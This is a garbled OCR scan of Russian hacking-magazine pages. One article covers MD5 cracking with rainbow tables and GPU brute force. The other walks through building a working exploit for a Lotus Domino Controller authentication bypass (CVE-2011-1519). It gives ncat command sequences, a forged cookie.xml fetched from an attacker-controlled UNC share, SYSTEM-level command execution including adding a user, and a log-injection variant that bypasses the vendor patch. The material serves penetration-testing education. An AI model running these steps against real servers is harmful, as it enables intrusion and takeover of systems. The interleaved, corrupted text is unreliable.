п ерво начальны х данных. Отсюда следует, что коллизии существуют для любого алгоритма хе шир ования. Однако вероятность того, что

В 2011 году IETF согласи лось внести изменения в RFC 1321 [MD51 и RFC 2104 [HMAC-MD51 . Так появился документ RFC 6151. Он признает алгоритм шифрования MD5 небезапасным и рекомендует отказаться

ты сможешь найти коллизию в <<хо рошем » алгоритме, практически

от его использования. На мой взгляд , этот документ официально

Многие хе ш-ф у нкции либо уже бы ли сломаны, либо скоро будут.

положил конец

В данном случае <<сломать» - з начит найти коллизию за время,

MD5 . Однако,

несмотря на то что алгоритм

MD5

был

офи циально признан небезопасным, существуют тысячи , ес ли не

стремится к нулю. К сожале ни ю или к счастью, алгоритмы хе ширования могут содержа ть ошибки, как и любые программы .

которое много меньше заявленной беско нечно с ти.

десятки и сотни ты ся ч приложений, которые используют его для

ХАКЕР

01 /15612012

061


взлом

- ·-

..

l! ~t b

Pl l illtt llt

Pl t 1ntt rt1DI!tr

~ 16(t6)c: t 0 tЫ1t.72fOc:t !d6И ~ c:99 !110

11t4.S:p.fi

fit65343561E e 36

blj bb7a!45140 ~ 50Ь3t ! 3ecc:Et!tt533bll

HИHfi!74756!

R.) bHc:07bc:073 !1 !5t!!Ь1Hd1 5H841tb

р49 !.:61

70 3(39"'~""

0 o~ t70c:6Ьdatd72c:561at7dsttc:t o 6c!sl ftl 7 !ЬI)tь2fd1422 12C.H99!d05ttt8b9 H

oe ~ htp2 d0 4:ny2V

306534Е!147032

ЗАНИМАТЕЛЬНАЯ МАТЕМАТИКА Для В-символьного пароля, составленного из первых

pltintt rc:ot 16Et6Sc:t04Ы1 a72!0c: t!di79 !c:99 fd0 1s de45;:'16 pltltlttltt of ЬЬ7t!45H 0450b3 1 !38c:c:6!!t ~533bl t 11 dHh t UO pl l iflttat c f bH c:0~013f i 85 1 8!Ы4!dt SH84ltb is p49! r.67 pl a illte кt ot 02470<:6td!9d72c367 t 47d3!! c906d51 1s 04!4htp2 dilk: C: \ rtiCЬCМ:rtclr-l . S-\/1nS2\I:dS_lcoo.-e :tl ~!': l -fi..:Uric:tl-7_0_20001975054~9_0 .:t: 7800 43904 b..,::t 3 :t!&d

set rc:htn; forlhash ... plt1nttlt of 1 tьь:Ь2fd1H2 a 2c:4!99!d 0 5 •e e!b944 11 dOt1r.yav

126 символов ASCII, доступно 63 527 879 748 485 376 возможных комбинаций. Для 254 символов количество возможных комбинаций возрастает до 17 324 859 956 700 833 536, что аж в 2,7 миллиарда раз боль ш е, чем людей на нашей планете . Если создать текстовый файл, содержащий все эти па роли, то он займет миллионы терабайт. Конечно, в современном мире это воз­

d11t:thttld&Ьorted

можно, но стоимость хранения такого файла будет просто заоблачной. pl&1nt t ztfound: tOt&ltillle: tiиo!chaint:a"-er,e: ti:r.to!a lanzcьect:

2.e9t 0 .54 s

1.03• ttuo!othe :opcrat1on: tUoe: ot di1Jr n ad: ha ' h ' redu.c:e c:aleul at 1ono! d'la1ntraver se: h as h ,

0.01\ а ~.~3

s

99!ЮООО

r t ductc: a lcul at ionofalar:~d'leclt:

Н7!

t pet do:ch aintrav.rte : IPf't do!alarllchea:

3. 46

ll!illi~nl •

4.1161111lli!!ll/ l

ВЗЛОМ

MD5 В

РЕЖИМЕ ТУРБО

Взлом хеш ей путем полного перебора даже на самом лучшем

железе занимает довольно много времени, особе нно если па роль больше восьми символов. Самый простой с по соб увеличи ть

Взломаные хеш и из файла eлcrypted.dat

скорость подбора пароля- это создать базу данных всех хеш ей

для определенного набора символов. В 80-х годах прошлого столетия хакеры полагали, что когда у них появится более

IGHASHGPU: СПИСКИ Теперь давай попробуем взломать сразу несколько паралей одно­

мощное железо, 640 Кб памяти и жесткий диск размером в 1О Мб,

то такая база станет реальностью и подбор любого пароля пре­

временно . Предположим, что к нам в руки попала база данных

вратится в минутное дело. Однако железо развивалась, а мечта

хешей па ролей . При этом известно, что каждый параль оканчивает­

так и оставалась мечтой. Ситуация изменилась лишь в августе

ся символами cOOI:

2003 года, после того, как Филипп Оэшлин, доктор философии в области компьютерных сетей из Швейцарского технологического

fеЬ4бас8494Ы761аdЫ2еЗаа7776с2а

института в Л озанне, опубликовал свою работу о проблеме вы­

f2da2e2a5a215b66995de1f9327dbaa6 c7f7a34bbe8f385faa89ae4a9d94dacf

бора о птимальног о соотношения место-время. В ней описывался

сЫсЬ9а4е7е8а151ебс927е2З42fеас5

нового метода заключается в следующем. Сначала необхо д имо

метод взлома хеш-функций с помощью <<радуж ны х>> таблиц. Суть

eea931d3facaad384169ebc31d38775c

выбрать произвольный па роль, который затем хешируется и под­

49ббd8547ссее99аебfбббfе9fб8458е

вергается воздействию функции редукции, преобразующей хеш в

какой-либо возможный па роль [к примеру, это могут быть первые Сохрани хеши в файле encгypted.dat и запусти lghashgpu как указано ниже:

64 бита исходного хеша). Далее строится цепочка возможных паролей , из которой выбираются первый и последний элементы. Они записываются в таблицу . Чтобы восстановить пароль, при­

ighashgpu.exe -t:mdS -u:[abcdefghijklmnopqrstuwvxyz123456789e_] -m:??????ceel encrypted.dat

м е няем функцию редукции к и сх одному х ешу и ищем полученный возможный параль в таблице . Если такого па рол я в таблице нет,

х ешируем его и вычисляем следующий возможный п а роль. Опе­ После завершения работы программы в папке lghashgpu появит­ ся файл ighashgpu _ гesults.txt со взломанными паролями:

рация п овторяется, nока в <<радужноЙ>> таблице не буд ет н айден па ро ль . Этот параль представляет собой ко н ец одной из ц е поч ек. Чтобы найти исходный пароль, необходимо nрогнать всю цепочку

feb46ac8494Ы761adЫ2eЗaa7776c2a:1rootxceel

заново. Такая операция не занимает много времени, в зависи­

f2da2e2a5a21Sb6699Sde1f9327dbaaб:pwd12xceel

мости от алгоритма построения цепочки это обычно несколько

c7f7a34bbe8f385faa89ae4a9d94dacf:pwd34yceel

секунд или минут. << Радужные >> таблицы позволяют существенно

cЫcb9a4e7eBa151eбc927e2З42feacS:pwd56yceel

сократить объем используемой памяти по сравнению с обычным

4966d8547ccee99aeбfбббfe9f6845Be:pwd9Bzceel

поиском. Единственный недостаток описанного метода состоит в

eea931d3facaad384169ebc31d38775c:pwd78zceel

том, что на построение таблиц требуется довольно много времени . Теперь перейдем от слов к делу и попробуем взломать пару­

IGHASHGPU: СОЛЬ

тройку хешей паралей с помощью этого метода.

Наnоследок давай произведем взлом «nодсоленного>> хеша. Пред­ положим, что хеш генерируется по следующему алгоритму:

Снача л а необходимо определиться с программой. Личн о мне

var plain = password + "s41t" ; var hash = mdS(plain); В итоге мы получили следующий хеш: 42151cf2ff27c5181bb36a8b cfafea7b. lghashgpu позволяет указывать << соль>> в параметре <<-asalt >>:

ighashgpu.exe -h:42151cf2ff27c5181bb36a8bcfafea7b \ -t:mdS -u:[abcdefghijklmnopqrstuwvxyz123456789e_] \ -asalt:s41t

нравится RainbowCгack l pгoject-гa i nbowcгack . com ) , которая рас­ пространяется бес пл атно и работает как на Windows, так и на

RAINBOW TABLES << Радужные >> таблицы- это особый тип словаря, который содержит цепочки паралей и позволяет подобрать параль в течение

И мы снова получили искомый параль легко и быстро.

062

не с кольких секунд или минут с вероятностью

85-99%.

ХАКЕР

01 / 156/ 201 2


Штурм

MD5

Linux . Она nоддерживает четыре алгоритма хеширования: LN / NTLM, MD5 и SHA1. Программа не требует установки, достаточно распаковать ее куда-нибудь на диск. После распаковки необходи­ мо найти << радужные » таблицы для алгоритма

MD5.

Здесь все не

так nросто: их можно либо с качать бесплатно, либо купить, либо сгенерировать самостоятельно. Один из самых больших архивов бесnлатных таблиц достуnен на сайте про ек та Fгее

Rainbow

ТаЫеs [ f г eeгa i пbow t aЬies.co m ) . Кстати, ты тоже можешь nомочь проекту, если скачаешь клиент с сайта и присоединишься к рас­

пределенной международной сети, которая генерирует « радуж­ ные>> таблицы . На момент написания статьи на этом сайте уже было доступно

3 Тб

таблиц для алгоритмов

MD5, SHA1, LM

и

NTLM.

Если у тебя нет возможности слить такой объем информации, то на том же сайте можно заказать диски с «ра дужными >> таблица­

ми. На данный момент предлагается три па кета: и

SHA1-

по

200

Генерирую радужную таблицу

LN/NTLM, MD5

долларов каждый. Мы же сгенерируем таблицы

самостоятельно. Для этого необходимо использовать программу гtgеп, входящую в состав RainbowCгack. Она nринимает следую­ щие в хо дные параметры:

hash _algoг ithm-aлгopитм хеширования

[LM, NTLM, MD5 или

SHA1); chaгset- один из наборов символов, содержащийся в файле c haгset . txt; plaiпte xt_leп_m iп и

plaintext_len_max- минимальная и макси­

мальная длина па рол я;

taЫe_iпdex, chain_leп, chain_пum и рагt_indех-«магические

числа », описанные в статье Филиппа Оэшлина [Ьit.ly/ппdT8M). Рассмотрим последние параметры nодробнее:

1.

taЫe_index- индекс «радужной>> таблицы, который можно использовать при разбивке таблицы на несколько файлов. Я ис­

Радужная таблица изнутри

пользовал О, так как моя таблица состояла всего из одного файла.

2. 3.

chain_leп- количество уникальных паралей в цеnочке .

« радужноЙ>> таблицы. Я решил сравнить скорос ть работы этих

сhаin_пum-количество цеnочек в таблице .

nр ограмм. Для чистоты эксперимента я использовал программ у

4.

paгt_index-этo параметр, определяющий начало цепочки.

MDCгa ck, которая осуществляет брут пароля на CPU [и является одной из лучших среди программ такого типа). Вот что пол уч илось в результате для GPU [nVidia GeFoгce GT 220М), CPU [lntel Atom N450,

Создатели программы просят использовать в качестве этого пара­

метра только число [я использовал

0).

Теперь запускаем генерацию «радужноЙ>> таблицы для

MD5:

дваядра)и «радуж ных » табли~

GPU

CPU

4 5

символа

ee:ee:el

ee : ee:el

ее:ее:lб

символов

ее:ее:ы

ее : ее:е9

ее : ее:lб

и прописных букв латинского алфавита и имеющих длину от одного

б

символов

ее:ее:lб

ee:es:21

ее:ее : 1е

до семи символов. На моем Еее РС с процессаром lпtel

7

символов

ee:ю:ll

е9:27:52

ее:ее:е4

rtgen.exe md5 loweralpha-numeric 1 7

е

zeee

975е5489 е

В данном случае мы создаем таблицу па ролей, состоящих из цифр

Atom N450 этот процесс занял почти два дня:). В итоге я получил файл md5_ loweгalpha-numeгic#1-7_0_2000х97505489 _О.гt размером в 1,5 Г б. Далее полученную таблицу необходимо отсортировать, чтобы

Длина

па рол я

Таблицы

Как видишь, скорость перебора с использованием го меньше, чем с использованием

GPU

CPU

намно ­

или «ра дужны х>> таблиц .

оптимизировать поиск нужной нам цепочки. Для этого заnускаем

Более того, большинство специализированных программ позволяет

гtsoгt.exe:

соз дать кластер из видеокарт, благодаря чему скорость перебора

rtsort.exe md5_loweralpha-numeric#l-7_e_zeeex975e5489_e.rt

т о, что скорость подбора

пароля уве личивается в разы. Я думаю , ты обратил внимание на

4-

и 5-символьного паралей ниже , чем

скорость подбора nа рол я из шести или семи символов. Это связа но Ждем пару минут и таблица готоваl Теперь можно ломать сами

с тем, что пои ск пароля начинается только после загрузки таблицы

пароли . Для начала попробуем подобрать параль для одного хеша:

в память. Получается, что из шестнадцати секунд в среднем тринад­

d8578edf8458ceeбfbc5bЫбa58c5ca4. Запускаем гcгack_gui.exe и

цать тратится на загрузку и три- на взлом хеша.

выбираем

Add Hash ...

в меню

File . В

появившемся окне вводим хеш и

нажимаем ОК. Теперь выбираем файл с «радужноЙ>> таблицей. Для этого используем пункт Seaгch

Rainbow ТаЫеs ...

в меню

Rainbow ТаЫе .

В открывшемся окне для выбора файла ищем файл с таблицей, у меня это

md5_loweralpha-numeric#l-7_e_zeeex975135489_e.rt, затем жмем Open. Через несколько секунд nараль у нас в руках! Аналогичную операцию можно произвести и над списком хе ш ей из файла.

ВМЕСТО ЗАКЛЮЧЕНИЯ В конце я бы хо тел немного поговорить о за щите твоих па ролей. Во-п ервых, не используй уязвимые алгоритмы хе ширования, такие как

MD5

или

SHA1.

На данный момент стоит задуматься об исполь­

зовании одной из криптографических хе ш-функций

SHA2 или SНАЗ [как только опубликуют соответствующий стандарт). Во-вт орых, не используй функции хе ширования напрямую . Всегда старайся

«РА УЖНЫЕ» ТАБЛИ

Ы

VS. CPU VS. GPU

Я думаю, ты обратил внимание на то, насколько быстро

использовать «соль >> и комбинировать различные алгоритмы. И

lghashgpu

в-третьи х, выбирай сложные произвольные парали длиной как

сnособен взламывать МD5-хеши полным перебором, и на то ,

минимум восемь символов. Конечно, это не защитит тебя от взлома

что RainbowCгack делает это еще быстрее при наличии хорошей

на

ХАКЕР

01/156/2012

100 %,

но хотя бы усложнит жизнь злоумышленникам. ::Х::

063


EJ RDP

Plugtns Đ&#x2019;ots tist

Ftles

.-6

setttnas

Hack the Planeti


Spy

Еуе .... f! Anti·.&i..Rud • Г е FF -binj•W: Г

Q

Op<tr• foпngnobb•o Г

Ch rom• formgПibЬet~ Г


Spy

Еуе ...,

Installer г---------- conflo.php

- - - - - - -- - - - - - ,

ll'!y5QL

-

( forCP):

lnl itle :~CN" "Your JavaSctipt ls tumed off. Please, enaЬieyoo >o:::'c:J:::s_ ·

---:--'=:...:;:=

,.• .,...., • ._~ID.ot--1 ~ - ( ПIIМI..С"Т>!.J1УСф8НМЦ)' )

YDUI"Javakrlplla

lwoмdorf. PI8aaa , a~МЫ.yowJ&.,...aи , a"*~М~..-: Ьнcon .

Пto[y- •e.-ano,t;«rt~ -Co~"'",..JI*""'•

....-.

~ ( ПIINI8Кt1o011!YC.I'P8"'"'Y ) YowJavaScriptl8t.. .,.dofi . Pieaн , anablly-JS

~h Сlом

P18a•. an111

-~ntf -CO<N~•--•-•

~ - I ПI1>811Кnl:ti'J'~"ЦJ' ( Y-JavaSc.Пpel8t,.Ndotf. PI8"a, anaЫ.

v-Js

Pleaи , e~~terp.~oword

WWWI'IDVI«\1 ~ l • ,twJt,Ьoonl

intitle:"CN" "YourJavaSaipt ls tumed off. Please.

e~bl!_~ ~


взлом

Алексей Синцов,

Пробивая

Digital Security ltwitter.co m/asin tsovl

Lotus,

или история одного пентеста

IBM Lotus Domino Server - программмое обеспечение

компании IBM Lotus Software, серверная часть программнога

комплекса

IBM Lotus

Notes.

www. zerodayiпitia·

tive.com - ZDI; www:ii)m.com/software/ru/lotus/ -IBM Lotus Software; buatraq.ru - BugTraq;

ЭКСПЛУАТИРУЕМ ПРИВАТНУЮ ДЫРУ В LOTUS DOMINO CONTROLLER

dj.navexDress.com -

DJ Java Decompiler.

В этой статье я хотел бы рассказать об одном

рабочем дне пентестера, которому, вопреки распространенному мнению, недостаточно просто

запустить сканер и ждать отчета . Ему нередко приходится проявлять смекалку и прямо во время теста на проникновение писать сплоиты.

Однажды я проверял надежность защиты очередного объекта. На этот

выполнить произвольный код. Однако зксплойтов для всех эти х уязвимс­

раз вся инфраструктура была поднята за счет оборудования и софта

етей не существовало, а описания ошибок были очень поверхностны м и

IBM,

что совершенно точно влетело заказчику в копеечку. Основную часть инфраструктуры, как это обычно бывает, составляли сервера данном случае их было много. Очень много. Н а

Lotus была

Lotus.

В

построена вся

кухня компании: почта, совещания, управление контентом и т. п . Кстати,

и указывали лишь общее направление, в котором н ужно двигаться . На первый взгляд. такие указания никак не могли помочь в разработке х оть сколько-нибудь эффективн о го э ксплойта, но надо было двигаться

дальше .: ]

здесь вполне уместно вспомнить старую статью Александра П олякова, в которой он героически о пи сывал свой опыт п окарения этого ПО . Однако

СКАЗ ПРО

время беспощадно, и те трюки, которые е щё п ару лет назад работали на

Бегло пр осмот р ев различные уязвимости, я ос тано вил ся на ба ге с

ура, се годня уже н е дают абсолютно никак о го профита. Обновленный

обходом ауте н тификации, позволяющем выполнить пр оизволь ны й код

монструозный

Lotus

смотр ел на меня как на обыч н о го п ользователя безо

CVE-2011-1519

[а это как раз то, о чем мечтает каждый пентестер]. Эта уязвимость, по­

всяких прав. : ] В такой ситуа ц ии любой начинающих взломщик п олез

л у чившая на сайте

бы на баг-трекеры и начал искать, к чему можно прицепиться, кроме

числилась как

устаревшего пames.nsf в веб-сервисах .

веду перевод о п исания указанной уязвимо сти с этого сайта :

На серверах, которые я тестировал, стоял почти самый свежий

8.5.2FP2. Н и

Метасплойт, ни

exploit-db.com

Lotus

не порадовали меня ничем

ZD I код ZDI-11-110, на момент пр ове дения пенте с та Oday (сейчас у же имеется соответствующий патч]. П ри­

<< Эта у язвимость позволяет удаленному атак у ющему выполнить произвольный код на у язвимой инсталляции

Lotus Domino Sег vег

дельным. Однако я решил н е полагаться на такие попсовы е источники

С о пtгоllег. Для эксплуатации уязвимости не требуется аутентифи ­

экс пл ойтов и обратился за помощью в поиске багов без сплойтов к ленте

кация. Проблема существует в реализации функцианала уд аленной

BugTгaq ,

ZDI,

сайту

IBM с sесuгitу- обновлениями

и Г у глу. В результате

консоли , которая по умолчанию слушает ТСР-порт

2050. Пр и

аутен­

я нашел кучу уязвимостей, связанных с п ереполнением буфера в раз­

тификациипользователясервериспользуетзначениепараметра

личных сер висах, а также ба г, позволяющий обойт и ауте нтифика цию и

COOKIEFILE,

068

в котором пользователь передает путь для получения

ХАКЕР

01 /156/20 12


Пробивая Lotus, или история одного пентеста

сохраненных аутентификационных данных. Приложение сравнивает

foгtunec i ty. com/neshkov/dj . htm l l, который превратил jаг-файл С :\

данные из этого файла с данными пользователя. Путь может быть

Ргоgгаm Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jaг в кучу

представлен в виде UNC, что позволит атакующему контролировать

nрактически полностью читаемого Jаvа-кода . Воспользовавшись

оба сравниваемых значения. Эксплуатируя эту уязвимость, удаленный

поиском, я быстро нашел в полученных файлах класс NewCiient.class,

атакующий сможет выполнить кодсправами SYSTEM>>.

отвечающий за работу с консолью и аутентификацию . Давай взглянем

Это описание вполне раскрывает всю суть проблемы: во время

на сам код:

аутентификаци~ атакующий может подменить параметр COOKIEFILE

на пара метр, содержащий путь к файлу \\evi lhost\passwoгd _coo kie_file,

11 sl-

который находится под контролем самого атакующего . В этот файл как

i f (sl.equals( "#EXIT" )) return 2;

раз и входит строка, сравниваемая с паролем, который вводится при

строка ввода с

2ese/tcp

аутентификации. Однако более подробная информация в описании

i f (sl. equals( "#COOKIEFILE" )) i f (stringtokenizer.hasMoreTokens())

уязвимости отсутствовала.

11 Итак, мы знаем, что уязвимая служба висит на порте

2050.

Это очевид­

Ага.

Мы были правы:

// #COOKIEFILE < nуть к файлу> cookieFilename = stringtokenizer.nextToken().trim(); return 7;

но, так как контроллер Lotus всегда находится там. Однако протокол общения лично мне был неизвестен. Погуглив информацию об этом протоколе, я ничего не нашел. В то же самое время мой напарник

Александр Минаженка заметил, что автор ба га, достаточно извест­

i f(! l.equals ( "#UI" )) i f(stringtokenizer .hasMoreTokens()) 11 Аутентификация ... usr = stringtokenizer.nextToken( "," ).trim(); i f (usr == null) return 4 ; i f(stringtokenizer.hasMoreTokens())

ный пентестер и хакер из Швеции Патрик Карлсон, также является автором модулей для культового сканера nmap. Не которые из этих модулей как раз работают с Lоtus-контроллером, например модуль для брутфорса и выполнения кода, предназначенный для тех случаев, когда параль известен.

Рассмотрим код этих модулей:

11 socket:reconnect_ssl()

Пароль после запятой,

это мы и так знали

pwd = stringtokenizer.nextToken().trim(); return е ;

socket:send( "#API\n" ) socket:send( ( "#UI %s,%s\n " ):format(user,pass) socket:receive_li nes( l )

Наши догадки о формате команд оказались верны. Теперь давай найдем интересующий нас процесс аутентификации:

socket:send( "#EXIТ\n" )

/* Как видно, аутентификация в Lоtus-контроллере выглядит

Цикл чтения ввода

*/

do {

достаточно просто: это SSL-т ун нель , в котором все команды идут открытом текстом и начинаются с символа«#>>. Таким образом, для

/ / ReadFromUser- эта функция была в предьщущем листинге int i = ReadFromUser();

аутентификации с лагином admin и па рол ем pass нам нужно вве с ти команду «#UI admin,pass». Этот факт не слишком приближает нас к по­ ниманию того, как осуществить атаку, поскольку ни один модуль

nmap

не использует путь COOKIEFILE для аутентификации . Однако, проявив

i f (i == б ) { // Если #APPLET appletConnection = true ; continue ;

немного смекалки, можно придумать команду «#COOKIEFILE \\evil\ file». Пр отестировав эту команду, я не получил ровным счетом ничего, даже уведомления об ошибке в синтаксисе [это говорит нам о том , что

сама по себе команда вроде бы верна! .

ОЧТИ РЕВЕРС-ИНЖИНИРИН После всех безуспешных попыток вникнуть в код алгоритма мне при­

userinfo = UserManager.findUser(usr); i f (userinfo == null) { /1 Если юзер не найден . .. Баг! WriteToUser( "NOT_REG_AOMIN" ); continue ;

шлось декомпильнуть код контроллера. Выяснилось, что контроллер полностью написан на

Java, поэтому и IDA Рго, и Оля-дебаггер оказа­

лись не нужны. Пригодился обыкновенный DJ decompileг [ membeгs .

i f (!appletConnection) // Если не было #APPLET, то обычная аутентификация fiag=vrfyPwd.verifyUserPassword(pwd,userinfo.userPWD()); else // Если же бьта команда #APPLET / 1 Аутентификация по COOKIE? Ага! fiag = verifyAppletUserCookie(usr, pwd); } while ( true ); // end loop i f (fiag) // Если результат аутентификации положительный, // загрузить консоль управления, ура!

Из ЭТОГО КОДа ВИДНО, ЧТО нам необхОДИМО «ВКЛЮЧИТЬ» УЯЗВИМЫЙ механизм аутентификации с помощью команды #APPLET до исполь­ зования #UI и #COOKIEFILE. Кроме того, дело не дойдет до аутен­ тификации, если ты не знаешь лаги н, который содержится в файле Nсаt-атака

ХАКЕР

01 /156/2012

069


взлом

admindata.xml. Тем не менее, no ответу сервера мы сможем nонять, существуеттакой лаги н или нет [ответ NOT_REG_ADMIN из листинга!'

LOAD CMD.exe BeginData

net user add username password /ADD

Такая уязвимость называется <<раскрытие существующих лагинов системы». Для быстрой nроверкия пробрутфорсил вручную несколь­ ко самых поnулярных лагинов в тестируемой системе и обнаружил

Команда #APPLET говорит серверу о том, что мы хотим исполь­

юзера adm, который nонадобится нам для реализации дальнейших

зовать файл cookie для аутентификации. Когда мы пробуем пройти

этапов атак~.

аутентификацию с nомощью команды #UI, сервер nытается открыть

Теперь рассмотрим функцию авторизации veгifyAppletUseгCookie:

файл, путь к которомууказан в #COOKIEFILE. Из этого файла и берутся фейковы е данные, которые сервер сравнивает с введенными нами

//#COOKIEFILE <cookieFilename> i f (cookieFilename == null 1 1 cookieFilename.length() return flag;

логином и паролем. После команды

е)

/ /Е ще один баг- открытие файла без фильтрации ввода!

File file = new File(cookieFilename);

#EX IT запускается процесс об­

работки ввода для аутентифицированного пользователя, то есть мы получаем доступ к серверу' Воттолько как им управлять? Если ты nом­ нишь соответствующую статью Саши Полякова, то в ней описывалась команда LOAD, фактически nозволявшая нам запускать командную строку с nараметрами. Единственный минус этого способа заключался

inputstreamreader = new InputStreamReader( new FileinputStream(file), "UТF8" );

в отсутствии обратной связи, то есть мы не могли видеть результат вы­ nолнения команды. Кроме того, в настоящий момент IBM настоятельно рекомендует защищать команду LOAD с помощью дополнительного

// s7do {

содержимое файла

if ((j

cookieFilename

сервисного пароля, обойти который у нас уже не nолучится. Однако мы можем, как в пmар-модулях, выnолнять команды, вводя их nосле

=

s7.indexOf( "<user " , j)) <= е ) break ;

символа доллара. В данном случае метод LOAD и сервисный параль ни nри чем, но оnределенные nривилегии авторизованному пользовате­

String s2 = getStringToken(s7, "user=\"", " \ "" , j, k); String

sЗ =

getStringToken(s7, "cookie=\"", " \ "" , j, k);

String s4 = getStringToken(s7, "address=\"", " \ "" , j, k); i f(s5.equalslgnoreCase(s2) && s6.equalsignoreCase(s3) && appletUserAddress.equalsignoreCase(s4)) { // Ура! flag = true ; break ;

лю все равно нужны:

ncat --ssl tagetlotus_host #API

2е5е

#АРРLЕТ

#COOKIEFILE \\fileserver\puЬlic\cookie.xml #USERADDRESS dsecrg #UI usr,psw VALID_USER #ЕХП

$whoami whoamiBeginData

while ( true ); Из кода видно, что если введенные nри аутентификации значения useгname, passwoгd и addгess равны значениям useгname, passwoгd

Microsoft Windows [Version 6. 1 .76е1] Copyright (с) 2eeg Microsoft Corporation. Al l rights reserved.

и addгess из cookiefile, который мы контролируем, то аутентификация nройдет усnешно' Таким образом, мы можем составить примерный алгоритм атаки:

1.

Скриптищеттег<usег> в указанном нами файле.

2. В этом теге считываются значения useгname, passwoгd, addгess.

3.

Далее считанные параметры сравниваются с теми, которые ввел

4.

Так как путь к открываемомуфайлу не фильтруется nри вводе, мы

C:\Lotus\Domino\data> Большим nреимуществом этого способа является тот факт, что nри

пользователь.

его использовании мы видим еще и результат исnолнения команды.

можемуказатьnутькпроизвольномуфайлуиобойтитакимобразом

Следует также отметить, что в nриведе н но м выше листин ге директива

злосчастную аутентификацию .

#API включает режим консоли, чистый API без Jаvа-вывода, -таким образом, работа с ncat становится еще более удобной. Кстати, если Lotus запущен с доменной учеткой, то мы вп о лне можем организовать атаку тиnа SMBRelay.

РАНЕЕ ПРИВАТНЫЙ ЭКСПЛОЙТ ЛЯ CVE-2011-1519 Теперь перейдем непосредственно к реализации нашей атаки.

1.

C:\Lotus\Domino\data>whoami NT AUTHORITY\SYSTEM

Создаем файл cookie.xml:

А ЧТО ЕСЛИ? <user name= "usr" cookie= "psw" address= "dsecrg" >

Отлично, мы реверснули ба г и фактиче с ки со з дали эксплойт. Это все?

Нет, есть и еще кое-что. Во-первых , что ты будешь делать в случае Как ты уже nонял, логин usr должен реально существовать.

2.

Сохраняем nолучен н ый файллибо у себя в ш аре, либо на местном

файловом сервере, указав nуть \\fileseгveг\puЫic\cookie.xml.

3.

Теnерь подключимся к уязвимомусерверу с помощью ncat:

c-..-.. ~no

'"...........

C'adlf.Cмtt.&........Joo

Lqou-os.Fn,OJOcc:OII

c...

,..тnw,_,...

C...tllll·~ll:

ncat --ssl targetlotus_host #API

2е5е

#АРРLЕТ

..._, L.,•• ~

D~l'1to ,07 0c<~D!I'" .1'-l4

#COOKI EFI LE \\fileserver\puЫic\cookie.xml #USERADDRESS dsecrg #UI usr,psw VAL ID_USER #ЕХП

070

Гео л оги ч еская с луж б а США

ХАКЕР

01 / 156/2012


Пробивая Lotu s, или история одного пентеста

блокировки SМВ-трафика с атакуемого сервера? Серверу, который

имеет выход в интернет, вполне можно подсунуть UNC (набор симво­ лов, который указывает расположение файла в файловой системе!. Если выходавинтернет не имеется, то сервер не сможет добраться до файла из-за банального межсетевого экрана. Кроме того, IBM вы­

ПРАВИЛА ВЫЖИВАНИЯ ПРИ ПЕНТЕСТЕ

пустила простой, но беспощадный патч: теперь к параметру cookiefile добавляется точка « .>> в самом начале пути. Таким образом, если мы

вводим что-то типа \\evil\cookie\file, то в результате сервер пойдет

1.

Никогда не запускай ничего низкоуровне вага, если ты его

открывать файл, путь к которому имеет следующий вид: .\\evil\cookie\ file, так что об UNC здесь можно забыть. Кроме того, патч проводит ау­

досконально не знаешь. Например, если ты не знаешь, как работает

тентификацию клиента с помощью SSL-сертификата, по з том у доступ к

объекте [конечно, иногда так хочется нажать красивую кнопочку

консоли без него получить не выйдет. Но давай забудем про сертифи­

в Саiп, но

кат и решим первую проблему. В этом нам помогут сами программи­

перехваченный па роль от почтового ящика какого-нибудь офис­

ARP-POI SONING,

DoS на заводе или в банке-несоразмерная плата за

менеджера на mail . гu l.

сты IBM! Из листинга, в котором осуществляется парсинг cookief il e, видно, что кодеры хотели использовать что-то типа ХМ L-файла и

не стоит злоупотреблять им на проверяемом

2.

Никогда не запускай зксплойт, в котором ты не уверен.

ХМ L-пар се ра. Но на самом деле код не парсит XM L, а просто ищет под­

Эксплойт- это не то ПО, которое делает хакера хакером [или

с троку в с троке' Обрати внимание , что, по мнению программистов IBM,

пентестера пентестеромl. Ведь если этот экс плойт связан, например, с ошибками при работе с памятью , то нужно быть

ХМL-файл вида:

уверенным не только в правильнести версии уязвимого ПО, но и

в правильнести версии ОС, а иногда даже в том, что уязвимое ПО

c ?xml version= "1 . 0" encoding= "UTF-8" ?> cuser name= "admin" cookie= "dsecrg" address= "dsecrg" >

имеет соответствующее окружение [например, для использования некоторых эксплойтов необходимо установить

З. Bla-Ыa-Ыacuser

RОР­

Спрашивай разрешения у !Т -с пециалистов твоего клиента, если хочешь произвести какие-либо действия, которые потенциально

name= "admin" xXXxcookie= "dsecrg" Xaddress= "

могут вызвать отказ в обслуживании.

dsecrg"NYA> 4. Эта «особенность>> позволяет нам инжектировать файл куки в

Java 6 для

программы или отключить ASLRI.

а налогичен вот этому непотребству:

У пентестера никогда не бывает лишнего времени. Запомни это. Не

стоит ковыряться в одном сервисе двое суток только для того, чтобы

локальные файлы сервера для по сле дую щего использования этого

написать офигенный эксплойт и проверить его на стабильность

файла в процессе описанной выше фальшивой аутентификации. При ­

на копии тестируемой системы. Это, конечно, круто, но в итоге ты

мерный сценарий атаки в данном случае может выглядеть так:

проэксплуатируешь только один ба г, а времени на

1.

99 других у тебя

Инжектим cookievalues с помощью сервиса Microsoft НТТРАРI

просто не останется. Нужно у меть выбирать приоритеты в условиях

service (здесь идалее \г\n-это просто Enteгl:

ограниченного времени и при отсутствии ресурсов.

ncat targethost 49152 GET /<user HTTP/1.0\r\n \r\n

HПP/1.0\r\n

#APPLET #COOKIEFILE .. \ .. \ .. \windows\system32\logfiles\httperr\ httperr1.log #USERADDRESS http://twitter/asintsov #UI admin,pass

\r\n

#ЕХП

ncat targethost 49152 GET /user= "admin"cookie="pass"address="http :// site.com"

2. Теперьлог-файл на сервере будет выглядеть примерн о так: #5oftware: Microsoft НТТР АР! 2.0 #Version: 1.0 #Date: 2011-08-22 09:19:16

$whoami NT AUTHORITY/5YSTEM

В результате мы вполне можем получить профит и без UNC, так как

2011-08-26 11:53 :30 10.10.10.181 52902 10.10.9.9 47001 НТТР / 1.0 GET cuser 404 - NotFound 2011-08-26 11:53:30 10.10.10.181 52905 10.10.9.9 47001 НТТР/1.0 GET name="admin"cookie="pass"address=" http :// site.c o;n ·'> 404 - NotFound -

лог-файл может быть любым.

Стоит сказать несколько слов и о защите от разработанного нами

способа атаки. Во-первых, атакуемый сер ви с используется су губо для узких административных целей, поэтому он не должен бытьдо­ ступен пользователям локальной сети, а также виден из интернета.

